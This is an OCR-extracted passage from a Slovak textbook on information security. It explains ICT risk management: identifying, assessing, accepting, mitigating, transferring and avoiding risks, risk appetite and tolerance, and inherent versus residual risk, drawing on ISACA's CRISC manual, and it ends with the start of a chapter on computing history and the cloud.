Vytvorte z nich kataldg hrozieb a zranitelnosti.

Odporticanim, ktorym je mozné zjednodusit pracu s takymto katalégom, je
vytvorenie zavislosti, t. j. urobte si vidzby medzi zranitelnostami a hrozbami, ale
len medzi tymi, ktoré st navzajom relevantné. Ak mate takéto vazby vytvorené,
tak pri skiimani pritomnosti zranitenosti je mozné okamzite urcit, ktoré
hrozby z nich vyplyvaju a naopak (mame ich na seba namapované, mame
vytvorené vztahy vzajomnej relevancie).

= Ak prechadzate cez cestu v meste, budete chranit jediné aktivum, seba, na ceste
v meste. To znamen4, Ze nie je potrebné rozmyslat nad hrozbou, Ze sa na ceste
objavi priepast, do ktorej mozete padnut alebo vas ohrozi nebezpecné divé
zviera. Musime sa zamerat na dopravné a iné pohybujtce sa prostriedky,
relevantné k ceste a hrozby plyntice z okolia. Ak by bola v meste priepast, bude
ohradena a urcite nie na ceste.

Preskiimavanie na pritomnost rizik mozeme robit viacerymi spdsobmi. Niektoré
sposoby st postavené Cisto na baze “ludského” faktora, t. j. na béze vyplitiania
dotaznikov, ktoré st zodpovedané na zdklade znalosti systému a jeho architekttry.
Iné st postavené skor na zaklade systémovych nastrojov, ktoré skenujii prostredie
a overuju pritomnost znamych technickych zranitelnosti. Pod takymto systémovych
skenovanim si mozete predstavit napriklad bezny antivirus, ktorého tcelom je
skenovat pocita¢/zariadenie a overovat pritomnost zranitenosti na fiom. Ak nieco
antivirus objavi, informuje nas a o tom. Antivirus k informacii priddva aj popis
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potencialneho rizika, ktorému celime, ak zranitenost neodstranime. Taktiez existuju
spOsoby, ktoré miesaju oba tieto pristupy. Prikladom moze byt penetracny test.

Nasledujtci zoznam je priklad procesov, ktoré mézu v organizaciach slazit na

identifikaciu rizika:

automatické skenovanie zranitelnosti - existuji ndstroje, ktoré skenuju
zariadenia dostupné v pocitacovej sieti a skumaju pritomnost znamych
technickych zranitelnosti (napr. zastarana verzia softvéru). Ak je takato
zranitelnost identifikovana na aktive, predstavuje riziko.

penetracné testy - mozu byt zdrojom identifikovania zranitelnosti a hrozieb na
aktivach.

audity - z auditného preskiimania procesu a v nom pritomnych aktiv alebo
samotného aktiva modze vyplynut identifikované nélezy, ktoré predstavuju
rizika pre organizaciu.

pravidelné dotazniky na preskimanie zranite[nosti/hrozieb na vSetkych
aktivach - je dobrou praxou, ked je v organizacii nastaveny proces, ktory
zabezpecuje pravidelné preskiimanie vsetkych aktiv, nachadzajucich sa
v inventdri IKT aktiv. Takéto procesné preskimanie modze prebiehat
zodpovedanim otdzok v dotazniku. Odpovedda biznis vlastnik aktiva (moéze
konzultovat s IT expertom danej sluzby) a otazky st definované tak, aby pokryli
definovany kataldg zranitelnosti a hrozieb. Odpoved na otazku urcuje, ¢i je
zranitelnost a/alebo hrozba na aktive pritomna alebo nie. Ak ano, identifikovali
sme riziko.

vstupné dotazniky pri prijimani novej sluzby/aplikacie do organizicie -
v podstate moze prebiehat rovnakym spdsobom ako pravidelné dotazniky na
preskiimanie vsetkych zranitel'nosti/hrozieb na vsetkych aktivach. Rozdiel je len ten, ze
proces je v zivote aktiv zasadeny inde, v tomto pripade rovno na zaciatku.
Takyto vstupny dotaznik sice prakticky prebieha rovnako ako predchadzajici
bod, ale vykondvame ho na zaciatku zivotného cyklu aktiva, t. j. vtedy, ked ma
byt aplikdcia/softvér/IKT aktivum implementované, resp. nasadené v ramci
organizacie. Vstupny dotaznik byva casto podmienkou prijatia novej sluzby/
aplikacie a takato analyza rizik moze bezpec¢nostnému manazmentu napovedat,
¢i prijatie daného aktiva do organizacie nepredstavuje prilis vysoké
bezpecnostné riziko.

\®_} Ktorym procesom by ste identifikovali nasledovné rizikd? K jednému riziku moZete
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privadif aj viacero procesov:

chybajiica kontrola 4 oct vedie k riziku podvodu pri obstarani softvéru,
kompromitdcia aplikicie obsahujiicej SQLi zranitelnost,

porusenie SLA doddvanej I'T sluzby kuoli nedostatocnej redundancii IT sluzby,
vypadok publikovanej I'T aplikdcie kudli realizdcii neriadenej zmeny,

krddez pocitacovej techniky kuoli chybajiicej ochrane priestorov.



Postidenie rizika

Posudenie rizika je proces, ktorého cielom je vziat identifikované riziko a na zaklade
analyzy posudit jeho potencidlny dopad na IKT aktivum, a urcenie
pravdepodobnosti, Ze dany dopad nastane. Do postdenia rizika vstupujt faktory
ako kritickost vystaveného IKT aktiva alebo implementované opatrenia, ktoré mozu
zmensSovat pravdepodobnost.

[ Ak je pre nis IKT aktivum menej kritické, menej délezité pre biznis, resp.
obsahuje menej citlivé data, spravidla byva aj vyhodnotenie dopadu nizsie. Ako
priklad si uvedme porovnanie: Pre organizaciu poskytujticu finanéné sluzby
klientom je aplikdcia, cez ktorti klienti investujii, omnoho kritickejsia ako
aplikacia, ktort v danej organizacii pouzivaji na rezervovanie firemnych aut
zamestnancami. Vzdy je potrebné posudzovat aj rozmer, aky potencialny
dopad moze mat riziko na biznis. Pri tomto priklade by bol dopad, ak by bola
naruSena dovernost, integrita a/alebo dostupnost klientskej aplikacie, ovela
vacsi ako v aplikacii na poziciavanie aut.

Vystupom kroku postidenie rizika by malo byt ohodnotené riziko podla metrik,

o ktorych sme si rozpravali v kapitolach Meranie dopadu a Meranie pravdepodobnosti,

definovanych biznis vlastnikom. A ak je to mozné, tak vystupom by mali byt aj

definované kroky, ktoré by dané riziko odstranili (napr. implementacia
bezpecnostnej zaplaty), vid nasledujiacu kapitolu.

Reakcia na riziko

Cielom fazy Reakcia na riziko je vykonat rozhodnutie o tom, ¢o ma byt odpovedou
na identifikované riziko. Toto rozhodnutie sa vykonava na zaklade informacii, ktoré
boli poskytnuté z predchadzajucich faz (Identifikovanie rizika a Postidenie rizika), ale je
tieZ vybalancované dalsimi faktormi, ktoré je potrebné vziat do tivahy®:

e financie, ktoré je potrebné investovat,

e (as, ktory je potrebny na odstranenie rizika,

e zdroje, ktoré st iné ako financné (napr. dostupnost programatorov
v organizacii),

e strategické plany (odstranenie rizika, by mohlo znamenat, Ze sa vychylime zo
smeru, ktory definovala stratégia organizécie),

e reguldcie,

e ocakavania zdkaznika (v kazdom pripade je potrebné mysliet na biznis, ktorého
su zakaznici sucastou),

e iné biznis faktory.

Ak teda berieme do ttvahy ohodnotené riziko a tieto dalSie faktory, pontkaji sa ndm
nasledujiice moZznosti, ako reagovat na riziko:

% ISACA (2015): CRISC Review Manual 6th Edition; ISBN: 978-1-60420-371-4. Str. 111.
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Akceptacia

Akceptovanie rizika je vedomé rozhodnutie, po zvazeni vsetkych vstupnych
faktorov, prijat riziko, prijat za neho a za potencialne dopady, zodpovednost, ak
takéto riziko nastane. Riziko akceptuje vzdy biznis vlastnik. V organizacii je vSak
mozné mat nastavené pravidla, ktoré urcia hranice zavaznosti rizika (podla jeho
hodnotenia), kedy je potrebné schvalenie entitou nachadzajicou sa vyssie
v hierarchii organizacie (napr. rozhodnutie bezpecnostnej rady, senior
manazmentu, predstavenstva).

= Skolnik si nemdZe sdm schvalit riziko, Ze zaéne skladovat v pivnici pod
triedami pohonné hmoty pre autd. Potrebuje vykonat analyzu rizik spolu
s poziarnym dohladom a vzhladom na rozsah moznych $kod a zraneni musi
jeho postup schvalit alebo zamietnuf riaditel skoly.

[ Manazment moze akceptovat riziko, Ze svoje datacentrd si organizacia
prenajme v oblasti, kde hrozia zaplavy. Riziko je vSak malo pravdepodobné,
pretoze v danom meste boli zaplavy naposledy pred 10 rokmi a konkrétne
miesto datacentra pod vodou nikdy nebolo.

@_} Ndjdite na internete, ktoré sii zdplavové oblasti vo vasom okoli.

Akceptovanie by malo byt zdokumentované a nemalo by byt urobené jednorazovo
a navzdy. Znamena to, Zze by mala byt nastavena pravidelna peridda, kedy sa
akceptované rizika prehodnotia. Ci stav, ktory bol zapisany v minulosti,
a hodnotenie st stile platné. Rovnako by sa malo riziko znovu akceptovat.
Standardnym ¢asovym tisekom pre znovuprehodnotenie rizika a nové schvalenie je
peridda maximalne jedného roka. Aby bolo schvélenie efektivne, dana spolocnost/
firma/organizacia si musi uvedomit a zvazit biznisom akceptované IKT rizika,
s ktorymi organizacia Zije a v pripade zmien v organizacii udrzat spravne nastavené
zodpovednosti (napr. pri vymene biznis vlastnika).

Aby sme vsak zabranili bezpodmiene¢nému akceptovaniu rizik v organizacii a aby
sme sa vyhli situdcidm, kedy akceptujeme viac, ako dokazeme zniest (napr.
akceptujeme finan¢ny dopad, ktory ak by v skutoc¢nosti nastal, nie je mozné ho
financne pokryt a firma zbankrotuje), je potrebné definovat si hranice. Tymito
hranicami su risk apetit a risk tolerancia.
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IT and cyber risk: a constant challenge
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Obr.: Riziko informacnej a kybernetickej bezpecnosti je konstantnou vyjzvou®*

Risk apetit a risk tolerancia

Hlavnym dévodom, preco potrebujeme merat zavaznost rizika, resp. vyjadrovat
riziko hodnotou, je, aby sme prijali len také riziko, ktoré dokazeme zvladnut.
Jednym z primarnych cielov manazmentu rizik je pomoct organizacii riadit rizika.
To znamena, Ze je potrebné monitorovat celkové IKT riziko, ktorému je organizacia
vystavena a definovat hranice rizika, ktoré by uz organizacia nezvladla, teda riziko,
ktoré, ak by sa naplnilo, by viedlo k bankrotu organizacie. Je dolezité definovat si
tieto hranice, monitorovat pritomnost rizika v ich blizkosti a nastavovat opatrenia,
aby sme riziko v blizkosti tejto hranice odstranili. Budeme pracovat s dvoma
urovnami hranice - risk apetit a risk tolerancia. Tieto hranice mdZeme definovat na
skale, ktorou rizikd meriame, teda podla dopadu a pravdepodobnosti alebo
mozeme spocitat celkové financné straty, ktoré akceptované rizika mozu spdsobit
a urcit si hranice priamo podla organizacie, t.j. podla zisku, ktory ma.

& Risk apetit je miera rizika, ktoré je subjekt ochotny prijat pri plneni svojich
cielov.® Je to troven rizika, ktort je organizacia ochotna akceptovat. Apetit je
manazmentom definovand akceptovatelna tiroven vystavenia riziku.

& Risk tolerancia je miera rizika, ktort je subjekt schopny zvladnut. Toleranciu
rizika mozeme definovat ako prijatelntt droven rizika, ktorti je manazment
ochotny pripustit pri sledovani dosiahnutia svojich cielov.* Je to maximalna
uroven rizika, ktort je organizdcia schopna akceptovat.

[ Ak sarozhoduje clovek plavat so svojim priatelom v rieke, v bazéne ¢i v jazere,
rozhoduje sa na zdklade ohodnotenia svojich rizik a na zaklade toho, ¢o dokaze
zvladnut. Ak st obaja plavci zadiato¢nici a dostatocne rozumni, tak ich risk
tolerancia im dovoli ist len do bazéna s kontrolou. V pripade, Ze je jeden menej

34

IT and cyber risk: a constant challenge; Dostupné online [21.1.2024]https://www.
bankingsupervision.europa.eu/press/publications/newsletter/2021/html/ssm.n1210818_3.
en.html

% ISACA (2015): CRISC Review Manual 6th Edition; ISBN: 978-1-60420-371-4. Str. 180.
% ISACA (2015): CRISC Review Manual 6th Edition; ISBN: 978-1-60420-371-4. Str. 182.
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skiiseny a druhy viac, ten menej skiiseny moze chciet vyhoviet svojmu
priatelovi, ktory je sktisenejsi plavec a mdze sa stat, Ze sa zvysi risk apetit a ide
plavat aj do jazera.

(\9_} Zamyslite sa a definujte, aké moZe byt nezvlddnutelné riziko, teda také, ktoré presahuje
Risk toleranciu, pre organizdciu, akou je zdravotnd poistoviia. Uvazujte nad rizikom,
ktorého naplnenie by mohlo znamenat bankrot poistovne.

Zmiernenie (z angl. Mitigation)®

& Zmiernenim rizika je reakcia organizacie s cielom znizit identifikované riziko.
Vo vSeobecnosti je zmiernenie dosahované pomocou implementovania
bezpecnostnych opatreni, ktorymi je znizeny dopad a/alebo pravdepodobnost
daného rizika.

[ Predstavme si, Ze identifikujeme riziko, Ze nasa aplikacia nema Sifrovanie dat.
Bez Sifrovania moze dojst k naruseniu dovernosti dat, pretoze data nie st
dostato¢ne chranené. Ak sa rozhodneme pre zmiernenie rizika, mozeme
implementovat bezpecnostné opatrenie, ktorym je Sifrovanie dat v danej
aplikdcii. Takto sme zmiernili dané riziko. Samozrejme, to, Ze jedno riziko takto
zmiernime, neznamend, Ze mozeme prestat analyzovat dalSie rizikd. Ak
implementujeme Sifrovanie v aplikadii, je potrebné zvazit, ¢i nevznika dalsie
riziko, ako napriklad strata Sifrovacieho kltica alebo kritické zniZenie
vykonnosti aplikacie. V niektorych momentoch, ak sa rozhodneme riziko
zmiernit, ocitneme sa v situacii, Ze si potrebujeme zvolit z viacerych moznosti
opatreni. V tom pripade je idedlne sa rozhodovat podla efektivity zniZenia
rizika vybranym zmiernenim.

Pri zmierneniach sa nam implementovanim bezpecnostného opatrenia nemusi vzdy
podarit odstranit riziko tiplne, podari sa ho len znizit. V praxi niekedy nie je mozné
nasadit zmiernenie, ktoré by riziko tplne odstranili, napriklad nie je technicky
mozné implementovat nejaké opatrenia. Preto sa casto pouzivaju ¢iastocné
zmiernenia, aby sme riziko zniZili na akceptovatelnt troven. Castokrat moze byt
kompenzaciou nemoznosti implementovat technické opatrenie zvyseny monitoring
alebo iné organizac¢né opatrenie. V pripade tiplnych zmierneni mézeme riziko tiplne
odstranit.

Zmiernenia su tiez Casto pouzivané, ak dosahujeme hranice akceptovatelnosti
v podobe risk apetitu alebo risk tolerancie. Riziko, ktoré dosahuje jednu z tychto
hranic, mo6ze byt akceptované na nejaky konkrétny cas, ktory poskytne priestor na
prijatie zmiernenia, ktoré nie je vykonateIné hned. Vykonanie tohto zmiernenia
v stanovenom case je podmienkou akceptovania rizika. Takéto pravidla si
organizacia spravidla nastavi v ramci svojej vnutornej politiky pre manazment IKT
rizik.

7 Aj v slovenskych materialoch a metodikach popisujicich manazment rizik sa casto
stretnete so slovo mitigation, alebo jeho skomoleniny ako mitigacia / mitigované /
mitigovat.
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Prenos (alebo zdiel'anie)

& Prenos rizika je rozhodnutie zniZit potencialnu stratu tym, ze naklady znasa
ind organizacia. Najbeznejs$im prikladom je poistenie voci riziku. Takéto
poistenie poskytuje zaruku nahrady v pripade, Ze je riziko naplnené a spdsobi
stratu. Inou formou moze byt partnerstvo s inou spoloc¢nostou, kde si dve alebo
viacero organizacii, podla dohodnutych zmluvnych podmienok, delia
potencialne zisky a/alebo straty.*®

\®_} Vyhl'adajte na internete, &i je na Slovensku mozné poistit sa voci kybernetickému riziku.
Vyhnutie sa

& Vyhnutie sa riziku znamena vyhnutie sa ¢innosti alebo stavu, ktoré riziko
sposobuju. Moze to znamenat, ze aplikaciu, ktora by dané riziko spdsobovala,
nebudeme pouzivat, alebo data dodavatelovi, ktory by riziko sposoboval,
neposkytneme. Tato volba nastava ak®:

o vedenie organizacie povazuje uroven rizika za neakceptovateln,

° nie je mozné riziko preniest ani zdielat s inou organizaciou a

° nie je mozné vykonat zmiernenia, ktoré by mohli zmiernit dané riziko alebo
ich vykonanie by stalo organizaciu viac v porovnani s vyhodami z danej
¢innosti.

Hranice, ktoré sme si definovali v predchadzajtcich kapitolach, risk apetit a risk
tolerancia, by mali byt indikatorom toho, kedy by sa subjekt mal riziku vyhnut.

Inherentné vs. rezidualne riziko

V manazmente IKT rizik si pouzivané dva pojmy inherentné a rezidualne (alebo
zvyskoveé) riziko.

Inherentné riziko® - je droven rizika bez zohladnenia opatreni, ktoré boli
prijaté alebo by mohli byt prijaté.

Rezidualne (zvyskové) riziko* - je zostavajucim rizikom, ktoré je stale
pritomné aj po implementacii opatreni na zmiernenie rizika.

[ Vezmime si na$ priklad prechodu cez cestu a riziko kolizie chodca s autom.
Chodec je aktivum a hrozbou je auto, ktoré moze chodca zrazit. Zranitelnostou
je cesta, kde sa mdzu stretntt auta s chodcami. Inherentné riziko popisuje
dopad a pravdepodobnosti bez zohladnenia opatreni, ktoré su
implementované, ako napriklad prechod pre chodcov, semafor alebo to, Ze sa
chodec pred prechodom riadne poobzera. Naopak, rezidudlne je vypocitané aj

% ISACA (2015): CRISC Review Manual 6th Edition; ISBN: 978-1-60420-371-4. Str. 113.
% ISACA (2015): CRISC Review Manual 6th Edition; ISBN: 978-1-60420-371-4. Str. 113.
4 ISACA (2015): CRISC Review Manual 6th Edition; ISBN: 978-1-60420-371-4. Str. 176.
4 ISACA (2015): CRISC Review Manual 6th Edition; ISBN: 978-1-60420-371-4. Str. 180.
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so zaratanim tychto, uz implementovanych opatreni. Prirodzene je celkova
hodnota rezidudlna rizika nizsia ako hodnota inherentného, ak st pritomné
nejaké opatrenia na znizenie rizika.

Cielom manazmentu IKT rizik, ako aj manazmentu bezpecnosti celkovo, je
implementovat bezpecnostné opatrenia, ktoré odstraniuju alebo zmensuju vplyv
zraniteInosti, neutralizuji hrozby, odstrafiuju alebo znizuju riziko. Ak si pri
vyhodnoteni rizika odmyslime vSetky tieto opatrenia, ktoré ovplyviiuju konkrétne
riziko, dostavame hodnotu, ktora je vyjadrenim inherentného rizika. Ak pri vypocte
hodnoty naopak vezmeme do tivahy vsetky tieto opatrenia, dostavame rezidualne
riziko. Tento vztah mézeme znazornit aj nasledujicim obrazkom.

D v

Obr. Vztah inherentného a rezidudlneho rizika.*?

(\D_} Vyberte si riziko, ktoré je identifikované v cviéeniach vyssie. Aké opatrenia by ste
aplikovali na zniZenie rizika? Ako by sa potom zmenila hodnota rizika?

Monitorovanie rizik a opatreni. Reportovanie

Poslednou castou zivotného cyklu manazmentu IKT rizika je monitorovanie
a reportovanie rizik. Obe ¢innosti spolu dotvaraju cely zivotny cyklus a st jeho
neoddelitelnou sucastou. Ich primarnym cielom je komunikacia aktudlneho stavu
z pohladu manaZzmentu IKT rizika a monitorovanie toho, ¢ je bezpecnost
v organizacii prostrednictvom implementovania bezpecnostnych opatreni,
definovanych v ramci manazmentu IKT rizika, dosahovana riadne a efektivne.

Manazment rizik nam pomaha pomocou hodnotenia rizika prioritizovat tlohy,
ktoré potrebujeme vykonat pre dosiahnutie vyssej bezpecnosti. Z tohto dovodu je
potrebné mat nastaveny proces, ktory kontroluje dosahovanie definovanych cielov
v podobe naplanovanych zmiernenti rizik.

# What is Residual Risk (and How do you calculate it)?; Dostupné online
[21.1.2024]https://www.mha-it.com/2017/04/11/what-is-residual-risk-and-how-to-
calculate-it/
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Zivotny cyklus manaZzmentu IKT rizik je neustéle beZiaci proces. V ramci neho
identifikujeme a ohodnocujeme rizika, prijimame reakcie, pricom vsetko je potrebné
riadne zdokumentovat. Dovodov, preco je toto zdokumentovanie dodlezité, je
viacero. Je potrebné zachovat kontinuitu rozhodnuti, teda musime pravidelne
vyhodnocovat, ¢i uz sa potrebujeme k rozhodnutiu vratit a prehodnotit ho alebo sa
vymeni personal a potrebuje sa plynule napojit na manazment rizik. Rovnako, ak sa
vyskytne akykol'vek problém, je potrebné preukazat, kto nesie za dané rozhodnutie
zodpovednost a ¢o bol dovod problému. Jeden z podstatnych cielov manazmentu
rizik je byt pripravenym na potencialne negativne udalosti. Na to, aby sme boli
pripraveni, potrebujeme poznat vSetky rizika a ich vzajomné zavislosti. Organizacie,
aj prostredie okolo, sa menia, preto je nevyhnutné neustdle prehodnocovanie.
Rizika, ktoré organizacia eviduje, je potrebné na pravidelnej baze znovu vyhodnotit,
¢i je zavaznost stale aktualna. Mo6ze nastat situacia, ze vdaka pokroku v oblasti IT
a zvyseniu vypoctovej pocitacovej sily, ktorti si hackeri schopni obstarat, sa zvysila
pravdepodobnost, Ze nejaké riziko nastane. Naopak, v ramci Standardnych
aktualizacii mohli byt odstranené nejaké technické zranitelnosti, ktoré spésobovali
rizikd, a teda mdzZeme rizikd odstranit. Tymito prikladmi chceme povedat, Ze IKT
riziko je v organizacii “Zivy objekt”, a je preto potrebné ho neustale monitorovat.
V praxi to moze vyzerat tak, ze za urcitd peridodu c¢asu (napr. raz ro¢ne) manazér
rizik konfrontuje biznis vlastnika s jeho rizikami s cielom ich prehodnotenia, ¢i uz
z pohladu dopadu a pravdepodobnosti, alebo prijatej reakcie. Ak boli v minulosti
definované zmiernenia rizik, skontroluje stav ich vykonania.

V rémci monitorovania rizik je tie% neustale potrebné sledovat, ako rizika napltiajt
risk apetit a/alebo toleranciu. Dosiahnutie tychto hranic by malo byt ukazovatelom
toho, Ze je potrebna zvysena priorita na zniZenie rizik, ktoré tieto hranice prekracuju.

EUROPEAN CENTRAL BANK | BANKING SUPERVISION

E@ About Supervisory practices | Organisation & Governance |  Legal & Policy Framework Media & Publicatic}

Home > Media&Publications > Publications > Newsletter articles

SUPERVISION NEWSLETTER
IT and cybersecurity: no grounds for
complacency

15 November 2023

ECB Banking Supervision evaluates banks’ management of IT risk based on,
among other things, two complementary sources of information: banks’ self-
assessments and supervisors' findings from on-site inspections. The information
received from these sources consistently shows that banks need to improve
their IT and cybersecurity risk controls.

Obr.: Eurdpska centrilna banka sumarizuje stav informacnej bezpecnosti
pomocou metodiky manazmentu rizik v bankovom sektore®

# IT and Cybersecurity: no grounds for complacency; Dostupné online [21.1.2024]https://
www.bankingsupervision.europa.eu/press/publications/newsletter/2023/html/ssm.
nl231115.en.html
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& Profil IKT rizik v spolo¢nosti je sumar stavu vsetkych identifikovanych rizik

v ramci organizécie a je obrazom toho, ako st napifiané bezpeénostné
opatrenia. V pripade ignorovania bezpecnostnych opatreni a odporucani je
riziko vacdsie.

Cielom reportovania rizik manazmentu je poukazat na stav rizik zrozumitelnym

a transparentnym spdsobom. Je potrebné mat stale na pamati, Ze manazment rizik

vytvara premostenie medzi bezpecnostou a biznisom.

[= Napriklad si predstavme, Ze na serveri bezi zastarala databéza. Toto je pre nés
riziko, ktoré sme identifikovali a potrebujeme reportovat. PoukaZzeme na
potencialnu financnt alebo int stratu, ktord by nam takéto riziko sposobilo. Na
zaklade identifikovanych rizik vie manazment rozhodntit o naslednych
prioritach a cieloch, pripadne o dalSom strategickom smerovani organizacie,
bertic do ttvahy informacnti bezpecnost. Po preskiimani okolnosti a dopadov si
predstavme, Ze dopad rizika je ohodnoteny zavaznostou 2 a hodnota
pravdepodobnosti je stredna (podla hodnotiacich matic z kapitoly Meranie
rizika). Dalej si predstavme, Ze na aktualizaciu databazy je potrebné investovat
5000 eur. Manazment bude mat predlozené nasledujtice informdcie:

Dopad =2 Pravdepodobnost =2

Nazov rizika: e financna strata 10 001 - 100 000 €

e poskodenie reputacie -
negativne spravy vo
vnutrostatnych novinach a/alebo
spravach

Ocakavam, ze udalost
nastane raz za
najblizsich 2 az 5
rokov.

Zastarala
databaza

Navrhované zmiernenie rizika je aktualizacia databazy. Sti potrebné naklady vo
vyske 5000 eur, pricom je aktualizaciu mozné vykonat v priebehu jedného dna.

Tieto informacie m6ze manazment polozit na pomyselné misky vah, ktoré sme
spominali v avode tejto kapitoly. Obe misky vah je mozné porovnat, lebo st
popisané rovnakym parametrom (zrozumiteIné z pohladu biznisu). Je mozné
porovnat, kolko stoji ndprava, resp. aka financna strata hrozi, pripadne aké
reputacné skody mozu nastat.

[ Inym prikladom mdze byt nasledovné riziko: mam pocita¢ pripojeny len do
elektrickej siete, nie je pripojeny na internet a neprenasam do pocitaca tdaje
pomocou inych zariadeni. Potom riziko napadnutia virusom budeme pocitat
nasledovne:

e pravdepodobnost napadnutia - virus nevie pocita¢ zasiahnut, preto
neocakdvam, ze udalost nastane najblizsich 5 rokov. Podla tabulky uvedenej
v kapitole Meranie pravdepodobnosti je pravdepodobnost nizka.

e dopad zavirenia - pocita¢ nema aktudlne zaplaty operacného systému a ani
aplikacii, tiez nedisponuje aktualnym balikom poznania virusov v ramci
antivirového programu a kedZe nie je nikam pripojeny, potom nemd ani backup.
Na hodnotenie dopadu pouzijeme tentokrat int tabulku, ako je v kapitole
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Meranie dopadu, pretoze mierka dopadu je ina pri fyzickej osobe ako pri firme.
Zisky a aktiva firmy a fyzickej osoby sti zvdcSa znacne rozdielne. V tomto
pripade predstavuje aj strata pocitaca vysoky dopad, pretoze peniaze na nakup
dalsieho nemam.

e Napravné (zmierniujiice) opatrenia:

o bud zabezpecime, Ze naozaj nikto sa ani nemoze pomylit a pouzit nejaké
externé paméatové médium a zapoji ho do pocitaca, napriklad tym, ze pocita¢
schovame do zamknutej miestnosti s pristupom pre presne urcenych
a poucenych I'udi. Tento stav je v zdsade nemozné nastavit,

o alebo zabezpecime pripojenie na siet pre zabezpecenie zaplat, aktualneho
balika pre antivirus a backupu.

(\D} Vyberte si aspoti dve rizikd, ktoré ste popisali a ohodnotili v predchddzajiicich cviceniach
a zapiste ich do podobnej prehladnej sprivy. Slovne popiste, ako ste dospeli k vdsmu
hodnoteniu dopadu a pravdepodbnosti. Ak je to mozné, napiste, aké by bolo potencidlne
zmiernenie.

Risk manaZzment v riadeni informacnej
bezpecnosti

V ramci tejto kapitoly sme si vysvetlili zdkladné prvky a aj samotny proces risk
manazmentu. Zarovenn sme uviedli prakticky priklad aplikdcie riadenia rizik
v organizdacii. Existuje viacero spdsobov, ako je mozné aplikovat manazment IKT
rizik v organizacii. Vzniknuté varianty st zvacSa vysledkom prisposobenia sa
zvykom, skusenostiam a uz pouzitym a overenym procesom v konkrétnej
organizacii. V ramci tejto kapitoly st poskytnuté informacie o zakladnych pilieroch,
na ktorych je mozné takiito metodiku postavit.

Definicie a aj nosna Struktara vo velkej miere vychddzali z metodiky CRISC
Review Manual 6th Edition. Tato metodika je jeden zo zdrojovych materidlov
pre certifikaciu v oblasti IKT manazmentu rizik, ktoré vydava spolocnost
ISACA. ISACA je skratka pre “Information Systems Audit and Control
Association” a je to medzinarodna profesijna asocidcia so zameranim na
riadenie informacnych technologii* Certifikat, ktory spoloc¢nost ISACA
vydava, ma skratku CRISC - Certified in Risk and Information System Control.

# ISACA; Dostupné online [17.2.2024]https://en.wikipedia.org/wiki/ISACA
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Obr.: ISACA - CRISC certifikicia®

Manazment IKT rizik by mal byt neoddelitelnou stcastou informacnej bezpec¢nosti
v kazdej organizdcii. Sltzi ako nastroj prekladu stavu bezpecnosti do jazyka biznisu,
aby bolo mozné rozhodovanie a prioritizovanie v oblasti informacnej bezpec¢nosti.
Ak si kladiete otazku, ¢i nie je lepSie zit v organizdcii bez rizik - odpovedou je,
samozrejme, ano - v idealnom svete by to mozno bolo lepsie, ale v redlnom Zivote
takéto nieco mozné nie je. V organizacii je potrebné nastavit procesy, ktoré pomozu
rizika identifikovat a pracovat s nimi v ramci ich zZivotného cyklu, aby sme nezili
v sebaklame ignordciou bezpecnostnych rizik. Jednym z primdrnych cielov
profesiondlov v informacnej bezpecnosti je zmierfiovat rizikd, aby tak chranili
organizaciu pred naruSenim dovernosti, integrity alebo dostupnosti. Je dolezité
uvedomovat si, aké tstupky voci bezpecnosti sme vykonali nie preto, aby sme mali
byrokraticky zaznam, ale preto, aby sme mali toto riziko riadené. Vedenie firmy sa
moze citit v nebezpeci, ak dostatocne dobre nerozumie rizikam, ktorym svojimi
rozhodnutiami organizaciu vystavuje. Ak st rizika pravidelne identifikované,
hodnotené a komunikované, manazment dostava priestor rozhodnut sa na zaklade
dostatocného mnoZzstva informdcii. Vytvdrame tak prostredie, kde vdaka
transparentnosti a systematickosti je vzdy jasné, aké riziko podstupujeme. Ak sa
riziko materializuje (to znamena, Ze sa naplni), dokazeme dant situdciu primerane
vyriesit. Riadenie rizik pomaha vykonavat zmeny rychlejsie vdlaka kompromisom.
Je teda mozné riskovat v udrzatelnej miere s ciefom zisku. Manazment IKT rizik sa
tak moze stat jednym z akceleratorov biznisu v bezpecne nastavenom prostredi.

#  Get Ahead in Risk and Information Systems Control; Dostupné online [21.1.2024]https://
www.isaca.org/credentialing/crisc#register
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ACCORDING To THIS,
THE PLANET EARTH WAS
OoNCE PoPULATED BY
HuMmANS, THEN IN

..THEY ALL

Este par desiatok rokov dozadu bolo bezné, Ze sme telefonovali prostrednictvom
Cislicovych analégovych telefénov, student byvajtici na internate telefonoval svojim
rodicom z teleféonnej budky alebo posty, stretnutia sa organizovali na zaklade
osobnej dohody alebo dohodou prostrednictvom papierovej pisomnej
koreSpondencie, v cudzom meste sme sa orientovali pomocou papierovej mapy,
poznamky sme si pisali do papierového zosita, citali sme noviny a knihy pisané na
papieri, atd’.

Z dnesného pohladu je takato komunikdcia pomald a praca s datami na papieri
nepredstavitelnd a mozno aj smiesna.

Dnes ma kazdy clovek - de-facto od ttleho veku - k dispozicii nejaké elektronické
mobilné zariadenie. Komunikujeme nielen telefonovanim, ale aj posielanim sprav,
on-line chat-om, videohovormi, video-shotmi v prostredi socidlnych sieti,
pouzivame elektronicktl navigaciu prostrednictvom aplikacii v mobile, zapisujeme
si poznamky do elektronickych zariadeni, knihy a noviny st tiez k dispozicii
v elektronickej forme a dostupné v akomkolvek mobilnom alebo inom
elektronickom zariadeni.

Ako beznych pouZzivate[ov nas netrapi ni¢, okrem toho, aby vSetky komunikacné
kanaly a aplikacie fungovali, boli dost rychle a dostupné vtedy, ked to potrebujeme.

Za vsetkymi tymito vymozenostami je mnozstvo informacnych technologii a dat,
ktoré st niekde ulozené a prevadzkované tak, aby boli dostupné Sirokym masam
pouzivatelov. Jednym z najcastejSie vyuzivanych ulozisk dat a IT prostredi pre
prevadzku aplikdcii je Cloud.

Anglicky pojem Cloud nie je novy ani neznamy.
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Vypoctova technika a informacné systémy majt svoju historiu a vyvoj, pricom ich
sucasnu technologickt troven reprezentuje prave Cloud.

Dnesné pocitace sui univerzalne pouziteIné zariadenia, ktoré sa pouzivaju na
prevadzku aplikacii a spracovavanie tdajov. V minulosti vSak pocitace sluzili
primarne na realizovanie vypoctov.

Ak sa pozrieme do histdrie vypoctovej techniky a neberieme do tivahy mechanické
pomocky na pocitanie, mozeme identifikovat niekolko generacii vypoctovych
strojov, t.j. pocitacov:

0. velkorozmerny pocitac na baze relé s nizkou taktovacou frekvenciou narocny na
prevadzku, priestor a chladenie,

1. tzv. sdlovy alebo tstredny poditac, ktory okrem relé pouZziva aj elektronky,

2. skrinovy pocitac, ktory technologicky stoji na polovodic¢ovych tranzistoroch,
vyrabany je masovo a pre jeho vyuzitie vznikaji prvé programovacie jazyky,

